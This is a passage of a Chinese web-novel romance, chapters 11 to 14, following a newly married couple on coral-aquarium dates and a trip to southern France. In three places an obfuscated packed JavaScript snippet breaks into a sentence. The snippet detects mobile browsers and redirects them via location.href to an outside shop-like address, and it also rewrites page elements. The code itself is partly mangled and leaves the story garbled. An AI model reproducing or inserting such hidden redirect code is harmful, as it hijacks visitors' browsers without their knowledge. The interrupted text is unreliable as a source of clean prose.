火颂月紧张地捏着安全带,巴巴地看向男人:“易嵊,我有一个事情想坦白。” 见易嵊没说话,火颂月悄悄扯了扯男人的袖口:“我为你做了这辈子最叛逆的一件事,所以你先答应我,不许生气。” 车子停在进入半山别墅区前的最后一个红灯处。 看着少女像做错了事的莲雾那般讨好地摇起了“不存在的小尾巴”,易嵊没什么情绪地挑起断眉:“为了我?说来听听。” “就是……”少女咽了下口水,“领证这件事,我妈还不知道。” 话落,车内氛围倏地如凝滞了一般。 男人搭在方向盘上的手指轻轻摩挲了一下,侧目盯着火颂月,声色泛凉,“火颂月,我没有隐婚的打算。” “不是!不是隐婚!”感受到男人声音里的怒意,火颂月紧张地分辨着,“只是我妈妈有些传统,实在接受不了闪婚。” “那你呢?” “我?” 红灯变绿,车子平稳地起步,并没有因为司机情绪的波动而变得车速失控。 火颂月看着怀里的小本本犹豫道:“我带着户口本出门,只是以为签婚前协议什么的需要这些证件。” 易嵊有些烦躁地用指节敲着方向盘:“所以你的意思是,领证是我强行带着你去的?” “不不不……” 她小心观察着对方的脸色继续说:“然后在你帮我请来程律师的那一刻,我忽然觉得,早一天晚一天,没什么区别,是你就行了,因为我肯定会喜欢上你。” 半山别墅区葱郁漂亮的绿化在车窗外拉成一条墨绿的线。 少女的目光也像这些倒退的线一样直接而又干净:“我不是要隐婚,我只是想找个合适的时机让妈妈觉得我真的喜欢你,让她对领证这件事接受的平和一点,不想给你添麻烦。” “不想给我添麻烦?” 易嵊淡淡睨她一眼,见少女心虚地没再接话,便也没有继续调侃她。 直到车子在观海庄园前坪停下,二人都没有说话。 火颂月以为易嵊又生气了,心里惴惴不安,却也不知道怎么哄他。 从后视镜里看到妈妈的常用车也在,火颂月瞬间抱紧了怀里藏着结婚证和户口本的小手包。 她神情紧张地跳下车,一个没注意差点崴了脚。 易嵊抬手要拉她一把,却见少女在他抬手过来的时候下意识瞪大了眸子。 圆圆的瞳仁警惕而又一瞬不瞬,配合着那束在脑后的微棕自来卷,真的像极了因为惊吓而呆住的红熊猫。 人在突发情况下总会表现出最真实的本能反应。 易嵊收手,指尖蜷起无意识摩挲着,被收进兜里。 想到她刚刚还目光炯炯地说肯定会喜欢他…… 易嵊轻挑断眉,居高临下地睨着她,喜怒难辨:“怕我?” “……” 火颂月心虚地目移,只觉得自己的耳朵越发的烫。 想到自己刚刚夸下的海口,她硬着头皮挽上他的小臂,笑得有些心虚:“喜欢你。” 瞧着那虚虚挂在袖口的小爪子,易嵊淡淡哦了声,“那靠近点,你妈妈在看你。” “!!” 少女瞪圆了眼睛往他胸前挪了几厘米,乖顺得紧却又带着几分委曲求全,“在哪?” 火颂月不知道的是,她越是这样,越想让人狠狠地欺负她一番。 想把她按进怀里,想揉捏她毛茸茸的自来卷,想看她瑟瑟发抖地用花言巧语骗他。 感觉,会非常有意思。 易嵊没有回答她的问题,反而垂眸看着怀里的少女,长眸带谑:“这可不就是秀恩爱的好时机?” “那你倒是教教我,热恋时期的恋人分别的时候会做什么?” 闻言,少女一愣,怔怔地同他对视。 下一秒,白皙的面容渐渐飞上红云,她伸出胳膊圈住他的脖子,犹豫了一瞬后,在他的面颊上飞快落下一吻。 柔软而富有弹性的唇瓣一触即离,像羽毛擦过。 男人身子僵了一瞬,而后眸色晦暗地望进少女湿漉漉的眼睛里。 他以为只会是一个简单的拥抱,没想到少女竟这般大胆。 也对。 能背着妈妈悄悄把终身大事都给定了,或许她从来都不是一个循规蹈矩的人。 晚风好像都变得燥热了起来。 火颂月受不了易嵊这幅不说话,单用眼神将她笼住的感觉。 她心跳极快,羞涩地别过脸,“这样……可以吗?” 易嵊清了清嗓子,唇角微翘:“你觉得可以就行。” “那……”火颂月退后一步,小幅度地朝他挥手,“你要不要趁我妈妈还没过来,快走?” 易嵊:? 少女轻轻摇了摇男人的手臂:“我的意思是,循序渐进。” 好一个循序渐进。 好一个画饼大师。 易嵊捏住少女细细的下巴尖,见她又如小熊猫那样直愣愣地顿住,他轻哼一声:“那我就期待一下画饼大师,怎么个循序渐进法。” 画饼大师? 火颂月后知后觉地泛起尴尬。 这个人怎么……一点面子都不给她留啊?! “那易先生记得明天来接我~” 火颂月狡黠地眨着眼:“女朋友可能需要占用你一点工作时间啦~” “那,明天见?” 火颂月还没说完,便被男人拉回去,一个若即若离的错位吻带着他灼热的气息烙在眉心。 “礼尚往来。” 话落,易嵊瞧了眼面红耳赤愣在原地的少女,轻扬着唇角驾车离去。 “人都走了,还在门口罚站呢?” 火臻指间捏着一根电子烟靠在顶楼露台,火颂月心下一跳,抱紧手里的包包:“妈妈!您怎么,又抽烟?!” “好啦好啦,最后一管烟油了,抽完绝对没有了!” 火臻笑眯眯地看着满面红云的少女:“去哪约会了?” “您背着我偷偷抽烟!我不告诉您!” 火颂月大着胆子哼哼两声,抱着包躲回自己的屋里。 “哎呦,小丫头到底是被谁惯得脾气见长了?” 火颂月紧张地回到自己的屋里,抱着包包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12876250|135995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑了好多个位置。 衣柜、首饰柜、和床下这些经常会被更新的地方都被一一排除。 纠结了好一会儿,她才觉得把结婚证纳入自己的藏宝阁里。 妈妈很少会进到这里,保洁的菲佣也不会乱动她的东西。 于是在23岁的储物格里,少女小心翼翼地藏进去了一个只属于自己的秘密,并把它压在了自己最喜欢的珊瑚标本册后边。 做完这些,火颂月望着那占位巨大的珊瑚标本,还有上次出国前放在它旁边的设计草图样本,下楼去找了火臻。 “妈妈,珊瑚馆的活株引进谈的怎么样了?” “大部分都谈好了。”火臻思索片刻,“只有大展柜里布景需要主株,可能……” 她叹了口气,“你帮他改一改?” 珊瑚馆从外观施工到内馆造景是父亲母亲联手设计的心血。 特别是主展厅的造景,是完美复刻了珊瑚馆的外形,更是他们二人三十年爱情的见证。 可因为气候改变,这款皇家红珊瑚活株存活保育非常困难,基本没有引进的可能。 如果这部分主景改掉,珊瑚馆存在的意义都变了。 “本来就是已经物是人非了。” 火臻望着客厅里巨大的四口全家福,失落一笑:“你爸这个臭脾气在的时候喜欢为难我,现在不在了,我想怎么改就怎么改!” “交给你了宝贝女儿!把你老爸完不成的残次品改成顶顶漂亮的景观!” “妈妈~” 少女抱着火臻蹭了蹭,“我尽量找一些替代品种,不作大改!” 火颂月工作起来的时候十分忘我,只要扑上工作台,作息社交几乎全部都被屏蔽掉。 那天晚上,她连夜查了许多资料,也做了许多改动设计,再一睁眼已经第二天下午了。 她迷迷糊糊地整理着几版还算满意的草稿,皱着眉心一直在想自己是不是忘了什么事。 直到她从电梯回到卧室,候在外边的管家抱着一束花迎了上来:“小姐您可算是醒了。” 接过那束粉色郁金香,火颂月轻轻嗅了一口,疲惫一扫而空:“陈阿姨谁送的花?” “易先生。” “易嵊来了?” 没想到这样少女心的花居然是易嵊选的,火颂月有几分意外,但却很喜欢这种浪漫的反差:“这么早? ”陈阿姨面色尴尬地报了个时间:“快两点了小姐。” 火颂月将花束放在扶手台,拿起昨晚放在楼下的手机,一边翻着易嵊发来的短信,一边从二楼栏杆处往外望去。 男人一身银灰色暗纹戗驳领西装,未系领带,领口松松解开一颗扣子,露出线条优越的下颌颈线,整个人恣意凌厉,浴在午后柔和清澈的阳光下,更添几分贵气。 他好像在哪都有做不完的工作,来约会也不忘带着笔记本,时不时和手边的助理交流着。 火颂月安静欣赏了一会儿易嵊的绝佳皮相,心情极好地跟他打招呼:“易先生早啊。” “现在是下午了。” 男人好像早就感知到了她的出现,放下手中的文件,淡淡望过去。 只见少女趴在二楼栏杆上,整个人懒洋洋的,漂亮的小卷毛蓬蓬的,衬得她整个人又软又乖,像只迷迷瞪瞪的小狗,让人很想把她按进怀里揉一揉。 易嵊不自觉放软了声音:“醒了?” 客厅里巨大的挂钟敲响两下,时间正式进入下午两点,距离易嵊到这里已经过去了四十五分钟。 路明有些惊诧地看了眼两人,注意到自己老板没有丝毫不耐烦甚至声音越来越柔和,他压不住惊讶。 火颂月漂亮的眸子在楼下二人组成的小圈子里流转。 听到钟声,她弯弯眼睛:“可能还在梦游,但是在梦里想好了一会儿要跟你去哪玩。再等我一儿会儿哦。” 看着火颂月翩然离去,路明悄悄觎了眼身边又被晾着的老板,心中不由得感慨:“怪不得火家这位能在圈子里如鱼得水,这一开口就知道是拿捏人的高手……” “邮件发好了?” 身侧冷不丁传来一道阴恻恻的声音,路明一个哆嗦猛猛敲键盘:“马上。” 12. 第 12 章 等火颂月完全收拾好,时间已经过去一个小时。 她自小被人宠着,没什么时间观念,但仪式感十足。再出现时,整个从头发丝到足尖无不精致。 她换了身LERMS家的银灰钻石吊带连体裤,搭配一双软底休闲小羊皮,从衣服色系到款式都和易嵊的看起来像是情侣装,走起路来优雅又不失俏皮。 “久等啦!” 火颂月凑到易嵊旁边,晃了晃手中的跑车钥匙,含情眼完成两轮小月牙:“今天带我们易先生去我最喜欢的地方。” 到了车子旁,易嵊主动来到驾驶位,却被少女拉着推进副驾:“今天我来开车!” 看到易嵊面露茫然,火颂月笑着俯身帮他系上安全带:“易先生,你可是第一位坐上我副驾的男士。” “是吗?” 少女身上清甜的水果香从鼻尖挠过,易嵊垂眸看着她毛茸茸的发顶,弯唇:“我也是第一次坐上女士的副驾。” “哼哼,难道我们是传说中的天生一对?” 见易嵊挑眉望着自己没说话,一副我看你还能说出什么鬼话的表情,火颂月吐了下舌尖,发动车子驶出观海庄园。 满钻红色帕拉梅拉沿着环城高架到达位于西城的一家市立海洋馆。 正值工作日,海洋馆内人流量不是很大。 火颂月拉着易嵊买完票后,熟门熟路地扎进一处僻静的小分馆。 虽然僻静,但馆内林立着的一座座绚烂的珊瑚培养缸,美得毫不逊色于主馆的大海缸。 如果说海底隧道是热闹的海洋全貌,那这篇珊瑚馆就是一片多彩又静谧的秘密花园。 “这就是你最喜欢的地方?” 易嵊的视线流转过满馆的水族箱,觉得有些好笑,“怎么不直接去你寰海的馆子?” “那怎么能一样呢?” 火颂月翘起得意的小下巴尖尖,“国营的自然有私营没有的优点!比如你眼前这些珍贵的老祖宗!” 幽静的水族馆内,少女的多情眼亮亮的,站在打着暖色光晕的珊瑚箱前展着右臂向他介绍。 那身细闪的连体吊带裤像一条漂亮的钻石鱼尾,把她衬得像是正在向外来人介绍海底宝藏的人鱼公主一般。 纯粹漂亮 一瞬间,易嵊好像梦回圣托里尼那个重逢的午后,游曳于湛蓝海水中的小公主,美得像一场梦。 “这可是全世界最古老的生物之一!” 少女精致的面容被湛蓝的海水映衬的梦幻又温柔,她靠在他的肩膀处,形容依恋,可那双多情眼的焦点却始终落在海景窗里摇曳的珊瑚上:“你知道吗?这些美丽又脆弱的老祖宗,可是存在了五亿年之久哦~” 她像是水族馆立一部行走的百科全书,讲解专业知识的同时还绘声绘色的夹杂一些自己的比喻,时不时还手舞足蹈地做起演示。 如果说情绪感染是一种能力,那么火颂月这方面的能力一定很强。 强到,易嵊觉得自己此时此刻竟然也从这看上去没什么新意的约会中获得了乐趣,不由得跟着少女娓娓讲解的声音专注进去。 火颂月走到下一簇红蓝交织的海景缸内,对着缸里的造景研究了好一会儿,回身才发现易嵊居然没有跟上来。 碧波与绚烂珊瑚摇曳共舞,将男人深邃专注的眉眼柔化了许多。他安静凝视,好像画框中的一副隽美雕塑,连带着那道断眉,看上去都不再冷厉,而是带着某种神秘的故事感。 引得火颂月不由得想要主动靠近。 这一刻,火颂月好像明白了,父亲口中所说的“大海会给所有喜欢它的人增添吸引力。” 她轻轻回到易嵊身侧,压着嗓子,眉眼亮亮的:“易嵊,你知道我为什么会喜欢它吗?” 易嵊侧首看着她,示意她继续说。 “我觉得它们就像冰冷海底的一丛火种,有火种的地方,就有一切可能。” 火颂月拿起一侧的收音耳麦,踮起脚帮易嵊带上,同他一起安静地聆听着:“听得到吗?篝火燃烧的声音。” 耳麦里是哔哔啵啵的碎气泡音,眼前粉色的珊瑚丛随着水波轻轻颤动,像一簇摇曳的火焰,共生的小鱼在这簇“火焰”里进进出出,划出细细的水声,像是迸溅的小火星。 在一系列低频的白噪声中,鲜活的生命流一瞬间具象化,带着让人沉静的魅力。 就像眼前的少女。 易嵊敛眸看向身侧的姑娘,她一进馆就好像回到了自己的舒适圈,开心的整个人都在闪闪发亮。 “虽然我还不知道你喜欢什么。” 火颂月坦荡又真诚地用行动来分享她的“自留地”,“但来日方长。” 身后绚烂摇曳的珊瑚礁映衬着少女漂亮的面容,她娇俏地弯起眸子,就像一位在向他展示大海宝藏的美人鱼公主。 可来自陆地的商人,想要的宝藏只有眼前的她。 灯色随着轻音乐变成危险的暗红,他微微眯眸,半边面容被笼罩在昏沉的光影之中。 杂音被屏蔽在世界之外,周遭安静到只能听到耳麦里另一个欲望燃烧的声音。 他看到少女丰满的微笑唇一张一合,好像在叫他的名字。 下一秒,耳麦被拉下,清甜的声音先于世界的噪声涌了过来。 “易嵊!” 她就这摘耳麦的动作,将手搭在他的肩膀上,一点点靠近到让心跳和呼吸都不再安定。 “你的表情告诉我……” “什么?” 男人喉结轻滚,可想象之中的暧昧并没有发生。 少女稳稳停在一个呼吸相闻的距离:“你不讨厌这次约会安排。” 易嵊顿了一下,未置可否。 少女轻轻撒娇:“那再去看看别的珊瑚?” 约会第一天,火颂月目标清晰地带着男友逛完了陵市除寰海以外的所有珊瑚馆。 回程的时候,出门前神采奕奕的少女变成的不得不拽着人形拐杖易嵊才能走路的小企鹅。 易嵊有些无奈地叹了口气,看着不远处的车和身侧一步三挪还哼哼唧唧的少女,兀自俯身直接将人打横抱起:“娇气。” “啊!” 火颂月轻呼一声,瞪大了眸子仰头望着易嵊的下巴,却在目光对视的一瞬间慌乱挪开。 意料之外的,和易嵊本人那种极富压迫感的气场相反,他的怀抱宽厚又极富安全感,舒服到火颂月有点想伸手再让他抱紧一些。 心底的欲望还没得到满足,她就被放回了微凉的真皮座椅里。 她轻轻鼓着腮帮子,不舍地看着那双臂膀撤离。 “怎么?嫌弃?” “喜欢。” 但是又不能说还想要。 少女将脸埋进蓬蓬的长发里,小声道:“易嵊,我好像明白为什么妈妈那么挑剔的一个人,会看上弱不禁风的老爸了。” 易嵊敛眸看了她一瞬:“嗯?” 火颂月眼睛亮亮的:“在某些特定环境下,人会产生一种依赖感。” “这种依赖感附加着一种感觉,一种‘我喜欢你’的错觉。” 话落,周遭好像都被按下了静音键。 火颂月同易嵊四目相对,心跳一点点变得聒噪。 莫名的,她有一点希望,眼前的男人可以主动做些什么。 咔哒一声。 安全带被系上,易嵊撤身回到车外,望着眼里流露出失落的少女。 他轻轻挠了下掌心,绕进主驾:“既然是错觉,早晚会醒来。你母亲现在还觉得是错觉吗?” 他好像完全没听懂火颂月的话外音。 这让少女有几分失落,却又觉得这样的易嵊才是真实的。 在稳步前行的车里歇了好一会儿,火颂月缓过劲儿,悄悄摸出了早早备在手包里的速写本,对着本子唰唰唰地像是在画着什么。 一边画还一边悄悄瞄着身旁的易嵊,像一只偷偷做坏事的小猫咪。 易嵊瞧见了也当没发现,任由她在一侧奋笔疾书。 临下车,她翻回前几页速写本,撕掉一页塞进手中买纪念品的购物带中,递给易嵊:“给男朋友的约会回礼。” “那,易先生再见。” 她打开车门时,倏地打了个回马枪,拉着易嵊在他下巴侧啵了一口,“我想妈妈和我一样,不愿在那个错觉里醒来~” 话落,少女像一只落荒而逃的小熊猫一般钻回别墅里。 心跳紊乱肇事者逃得无影无踪,她的气息却像是带着千丝万缕的钩子无孔不入地扰乱易嵊的节奏。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12902628|135995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬手,轻轻蹭了蹭下巴处少女留下的余温,好半晌,才想起打开火颂月留下的袋子。 袋子里放着一份鲜红色的心形珊瑚标本,好像是刚刚她一遍揉腿一边坚持挑了好久找到的那个。 标本下边还压着一张速写纸,打开,里边用干净的线条画了一张他在珊瑚馆里的侧脸速写。 落款处是一行娟秀小楷,“谢谢你易嵊。” 礼物都不贵,却让易嵊再也分不清送礼物的人情感的真假。 回家后,火颂月抱着速写本径直进了藏宝阁。 下午实地跑了那么多的取景处,她有了好多新的灵感,迫切的需要落在纸面上。 在工作台上打磨稿子到凌晨,画了好几版却也被她废弃了好几版。 次日清晨醒来,火颂月迷迷糊糊地去外间倒水喝,正巧看到妈妈给爸爸的照片下边换花。 那是爸爸最喜欢的向日葵,换完花后,素来坚强的火臻女士对着那照片露出了几分疲态和依恋。 这一刻,火颂月构思的那些替代品好像再勾不起她一分创作欲。 昨天下午约会的某一个瞬间,她好像理解了爸爸做这份设计时的感情,那份对妈妈纯粹又独一无二的真心。 就像这幅设计稿的名字——“冰晶之心”。 那簇被冰蓝色珊瑚包裹的皇红珊瑚,是设计的核心,根本无可取代。 回屋对着铺了满地的珊瑚标本发了好一会儿呆,确认自己没有一点灵感,火颂月蔫哒哒地起身,梳洗了一番让管家送自己去RC科技找易嵊。 为什么找易嵊,火颂月想不出确切的理由,但是她有些想找回昨天下午和易嵊待在一起时的那种状态。 火颂月刚到RC楼下,恰巧碰到路明出外勤回来,便顺势将她带到了总裁办公室。 “电梯密码和办公室密码都发给您了,易总还在开会,您先自便。” 交代完,路明便出去了。 偌大的办公室只剩火颂月一个人。 这是她第一次来到易嵊的办公室,室内深空灰的奢华装潢和RC的魔方大厦外墙装饰那冷冰冰的科技感大差不差。 其实从几年前魔方大厦建成开始,火颂月就对这座大厦有很多疑问。 比如,为什么建造成斜立的魔方形状,又比如,怎么做到可以进行整座楼的方向轮换…… 不过这些问题现在都不能让她提起一点兴致。 没有直接见到易嵊,火颂月有些失落,干脆从VLT蛇皮水桶包里掏出厚厚的设计稿和珊瑚标本册,七七八八铺满了办公室硕大的大理石会客桌。 火颂月进入创作瓶颈的时候有点没正行,歪七倒八地软在真皮沙发上,柔软的长卷发和设计图一起铺满了沙发周围的全部空间。 办公室长绒地毯厚重吸音,她背对着门,完全没发现有人进来了。 易嵊进屋的时候,看到的就是少女像是没骨头一样趴在沙发上研究图册,浑身上下都写“纠结苦恼”,像是瓶颈了。 他往里走了两步,看到脚边刚好散落着一本眼熟的速写本,可不正是昨天她随身携带的那本。 在最新翻开的几页速写上标注着昨天约会的日期,还有“选做皇红珊瑚替代品”的批注。 易嵊翻看了两页,眼底的笑意淡了几分。 他没打扰火颂月,自顾自走回办公桌,也开始做自己的工作。 直到手机铃声响起,少女像是受了惊的炸毛小猫一样,瞪大了眸子回头望过来:“易嵊,你什么时候回来了?” 看到易嵊接起了电话,她噤声,靠在沙发上巴巴地望着男人。 等了好一会儿,男人还没聊完工作,她叹了口气,继续拿起图册选样本。 不知道过了多久,易嵊响个不停的电话才算是消停了下来。 火颂月注意到这点,没等到易嵊主动来叫自己,她放下图册,哒哒哒地凑到易嵊的办公桌前。 凑近了才发现,男人冷冰冰的办公桌上放着一个颜色鲜艳还有点可爱的心形珊瑚标本。 正是昨天她送的那份。 火颂月有点小雀跃地扬起唇角:“易老板,忙完了?” “没你忙。”易嵊冷淡地睨她一眼,将速写本推回给她,“利用约会完成工作取景,时间管理大师?” 13. 第 13 章 被当场挑破昨天夹杂的私心,火颂月耳朵发烫地把速写本藏到电脑后边。 她戳了戳桌子上的心形珊瑚摆件,摆件撞上他手边那厚厚的一摞文件,就听她开始轻声辩解:“嫁鸡随鸡,嫁工作狂随易老板……” “你刚刚接了五个电话,批了一摞文件,没跟我说一句话,0次情感交流。” “易先生,所以,你喜欢的事是工作吗?” “倒打一耙的功夫倒是可以。”易嵊把歪斜的珊瑚摆件规规矩矩地放回电脑旁,“怎么自己跑来了?又有什么取景的地方要去了?” “我只是想见见你,你又冤枉我。” 火颂月搭在桌边的脸颊鼓了鼓,“既然易总没空,那我回去了?” “嗯。” 易嵊应得干脆,没做一点挽留。 火颂月轻轻哼了声,“男人脸,陵市的天,翻的真快。” “我过会儿要临时出差。” 易嵊淡声解释,“没有生气。” “去哪出差?” “南法。” “好远哦,易先生怎么刚领证就要抛家弃妻?” 抛家?弃妻? 他甚至连个名分都没有。 易嵊挑起断眉:“你要一起来吗?” 火颂月见好就收:“我当然是会送你去机场滴……” 易嵊打断她的回绝,慢条斯理地抛出钩子:“不是瓶颈期了?去散散心或许会有意外收获。” “再意外的收获也不会是我想要的。” “这次要见的合作方是阿卡斯海洋馆,那里有全世界最大的珊瑚馆。” 听了这话,火颂月顿了一下。 阿卡斯海洋馆?那是爸妈定情的地方。 去看看,或许会有不一样的收获? 火颂月犹豫地看向易嵊:“易先生,你这是在引诱我私奔吗?” “你可以拒绝。”易嵊咔哒一声合上钢笔,“和饼老师的私定终身比起来,私奔好像都不算什么。” “确定不去?” 易嵊的声音带着几分蛊惑的意味,“那就……” “等等!” 火颂月露出两个漂亮的小酒窝,眨巴着多情眼望向易嵊,“我只是放心不下我的亲亲男友独自远行,可没有别的私心。” 亲亲男友。 某人总是在这种事嘴甜的要命。 易嵊轻笑一声:“放不下什么?没听清楚。” 二人对视了几秒钟,空气在视线交接的时候缓缓变烫,火颂月觉得有些热,心跳怦怦,可易嵊这个冷脸怪居然没什么表情变化。 她率先错开视线,尴尬地摩挲着珊瑚摆件,转移话题:“那我们什么时候出发?” “现在。” “好着急,我的东西还没收拾……” “什么都不用带,路明都安排好了。” 不知是不是因为过于匆忙,火颂月莫名觉得好像忘记了什么重要的东西。 脑海里一闪而过藏宝阁里铺了满地的珊瑚标本册…… 不过应该没人会去动吧…… 私人飞机落地南法的时候正值下午两点,因为在飞机上睡了一路,落地时火颂月没有一点疲惫感。 他们下榻的地方是一座北欧童话风的海景独栋别墅。 拉开别墅的落地窗,入目是一望无垠的棕榈树和私人白沙滩,细细海风送来海鸥和浪花的交响,一切静谧又惬意。 看不出,易嵊居然是一个这么会享受的人。 “你先休息,我去见一下馆方。” 火颂月从露台探出脑袋,“去哪见?” “非正式见面。”易嵊换了一套浅灰色的英式三件套,举止投足都满是矜贵之气,“你先随便逛逛,如果进馆会带上你的。” “被拐到异国他乡,易老板不在,我好孤单哦~” 易嵊有些无奈地站定望过来:“想去?” “嘿嘿,开个玩笑啦,我就不打扰易总了。” 送走易嵊,火颂月伸了个懒腰,拿出平板打开地图开始熟悉周遭。 巧的是,这座海景别墅周遭除了私人海滩外还有一大片被珊瑚保育协会承包的珊瑚礁。 这里有着面积不小的原生态珊瑚群。 她换了身更清凉的衣服,带上墨镜直奔目标地。 海滨此刻温度正好,微风习习,碧蓝海面被午后的日光照射成一片波光粼粼的碎金,白沙滩上也有不少人在悠闲地享受着日光浴。 管家开着摆渡车走在沙滩外环,火颂月懒洋洋地拿着一个小型望远镜看着一众美景往后退,却在车子拐弯的时候蓦地瞥到一张无比熟悉的,只会出现在梦里的侧脸。 那是在近海的沙滩处,好像有人溺水,周围乱作一团。 那个人穿着一身藏蓝色的潜水服,抱着一个昏过去的小孩从海里走出来,而后给他做人工呼吸。 “请停一下车!!” 管家不明所以地停下车,便见后排的少女像是丢了魂一样什么都没带,踩着一双细带的沙滩鞋匆匆忙忙地朝着海边的人群跑去。 风和喧嚣的人声一起被隔绝,火颂月一路过去只能听到自己急促的心跳声。 等她气喘吁吁地靠近,聚集在一起的人群已经散了,刚刚救人的那个人也像是海市幻影一样消失不见,只留被救的母子二人在原地拥抱啜泣。 火颂月失魂落魄地站在原地,等那对母子情绪平复了准备离开,她才急切地上前问询:“我很抱歉,打扰您一下,请问您认识刚刚救您儿子的亚裔男子吗?他是长这样吗?” 她手足无措地想摸出手机照片给他们辨识。 可身上的口袋都摸了个遍,她才恍然觉察手机不知何时被跑丢了。 那对母子疑惑地看着她,半晌遗憾地摇摇头:“抱歉小姐,虽然我们很感激他,可他并没有留下姓名。” “好的,谢谢您。” 落寞地在原地站了一会儿,少女重重地叹了口气:“火颂月,你好傻啊。” 一个不告而别的人,有什么好惦记的。 吹了会儿咸湿的海风,她回头望向来处,没找到来时的摆渡车,便踩着白沙滩自顾自往回走。 回到别墅,看着空荡荡的屋子,刚刚被压下的酸涩情绪再次卷土重来。 她换了身泳衣,一头扎进泳池内游了好几个来回,才算是把那股子郁闷的情绪发泄出去。 听到平板微信传来响声,她才浮出水面,按了接通:“妮妮,怎么了?” 倪桉八卦的笑容出现在屏幕里:“宝宝,你和易嵊最近很忙吗?都没来找我玩啦?” “我今天落地南法,确实有一些事。” “我们小宝怎么看上去这么不开心啊?哎呦,居然真的在泳池跑着,真不开心啊?难道是易嵊那个大凶神欺负你了?” 熟悉她的人好像都知道她不开心的时候喜欢泡在泳池里。 “没。”火颂月重重叹了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12902629|135995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,犹豫了好一会儿才慢吞吞说道:“我刚刚好像看到火弈阳了。” “你哥??” 倪桉的音调不由提高几度,“真是他吗?” “不确定,虽然认错了很多次,但这次的直觉很强。” 特别是男人出水上岸的姿势,弓背的角度和抬腿的步伐,都和记忆里的那个人完美重合。 “你去南法就是为了找他?” “不是,是陪易嵊出差的,虽然我自己也有一些私事。” 倪桉叹了口气,有几分欲言又止:“宝宝,虽说火弈阳是我男神,可他不告而别那么多年,一点情分都不顾及,你还找他干什么?” “我总觉得这里边有其他原因,我哥不是那种人。” “可寰海这两年遇到那么多次危机,他一次都没露过脸,他有什么天大的原因,还能看着你被纠缠那么久,连个人影都看不到?他以前可是出了名的宠妹狂魔。” 话落,视讯电话两端的人都沉默了起来。 倪桉闭眼拍了下自己的嘴巴:“对不起啊宝宝,我只是心疼你。” “没关系,你说的都是事实。我只是……只是因为我爸妈费尽心力培养了他那么多年,我才想找到他要个说法。” “只是这样?” “嗯,”火颂月躺进泳池边的躺椅上,将脸挪出镜头外,按了按有些颤抖的唇角,克制道,“我想知道,家人对他来说到底算什么。” 一起生活了二十年的家人,就算没有血缘,真的可以说不要就不要吗? “哎呀,不说这个讨厌的人了,来看看莲雾小朋友吧!” 倪桉把莲雾的脑袋塞进画面,“我就说昨天怎么又送来了了,原来是男主人和女主人一起出去蜜月了,我们可怜的小莲雾哦。” 画面里,看着小莲雾对着镜头哼哼唧唧地露出肚皮,火颂月郁闷的心情消散了不少。 二人漫无目的的闲聊了一会儿,挂断了倪桉的电话,火颂月就兀自窝在躺椅里发呆,不知不觉睡了过去。 易嵊回来的时候,先是从管家那里拿到了火颂月遗失在车上的包和手机,然后就听管家手舞足蹈地描述了他被丢在原地的缘由。 见义勇为的漂亮女士? 他怎么不知道火颂月还有这种习惯? 拿着手包进屋,屋内转了一圈没看到人,瞥见窗外躺椅上露出来的一只玉白可爱的脚丫,易嵊叹了口气,阔步走到泳池边。 青白木色的躺椅上,少女安静地侧身躺着,她肤色细白,紧身泳衣勾勒出凹凸有致的姣好身材。 傍晚夕阳将落,暖橘的光洒满泳池,粼粼的光将少女的睡眼映衬的好像沉睡在电影画面里的睡美人。 她勾人不自知,无所顾忌地露天睡着,易嵊下意识四下望了一圈。 确认自己的房子隐蔽性极好,易嵊才无奈地靠近。 真不知道火颂月是心大,还是一点都不把他当成异性看。 他随便抛了个钩子,她就跟着一起远赴重洋。现下住一套房子,又这般毫无防备地睡在泳池边。 易嵊按了按眉心,捡起掉落在椅子边上毯子给火颂月盖上。 棉麻波西米亚织花毯子的穗子擦过少女裸露的腰身,而后迅速落下,遮住满眼春光。 少女似乎感受到了什么,半梦半醒地睁开眼睛。 看到是易嵊,她撇撇唇角盯着看了好一会儿,才软软地伸出双臂,声音带着几分委屈:“易先生,抱抱。” 14. 第 14 章 易嵊居高临下地睨着她,看到少女多情眼里浮动的落寞,他眉心轻折,半俯下身子,用毯子将少女包了个严实,才轻轻将她抱起。 他的身高臂长,抱起娇小的少女,可以完全将她整个人藏在怀中。 “见义勇为没成,郁闷了?” 男人低沉的声音通过胸腔的震动传递过来,就像他凑在她耳朵边说的一样。 火颂月觉得耳朵痒痒的,侧了下脸,不由自主地往男人宽厚温暖的怀抱里贴得更紧。 浅淡的木质香混杂着雪茄的香味送入鼻腔,陌生但却让火颂月觉得安心。 异国他乡,眼前的男人好像成了唯一能安抚她的人。 “更郁闷的是,易先生居然这么晚才回来。” “怎么了?” “又冷又饿,还很孤独。” 